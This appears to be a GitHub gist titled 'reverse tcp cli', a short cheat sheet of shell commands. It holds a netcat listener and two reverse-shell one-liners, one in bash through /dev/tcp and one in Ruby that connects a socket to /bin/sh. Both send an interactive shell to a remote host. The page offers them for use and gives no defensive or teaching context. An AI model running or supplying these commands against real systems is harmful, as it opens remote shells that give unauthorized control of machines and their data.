Created
June 29, 2015 00:35
-
-
Save ephesus/d10bb9f0452dbe08401c to your computer and use it in GitHub Desktop.
reverse tcp cli
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#on client, listen for incoming tcp connections | |
$ nc -l -p 8080 -vvv | |
-------- | |
#on server, execute shell with remote input | |
$ my_ip = 0.0.0.0 | |
$ bash -i >& /dev/tcp/$my_ip/8080 0>&1 | |
#on server, execute shell with ruby | |
$ ruby -rsocket -e'f=TCPSocket.open("$my_ip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment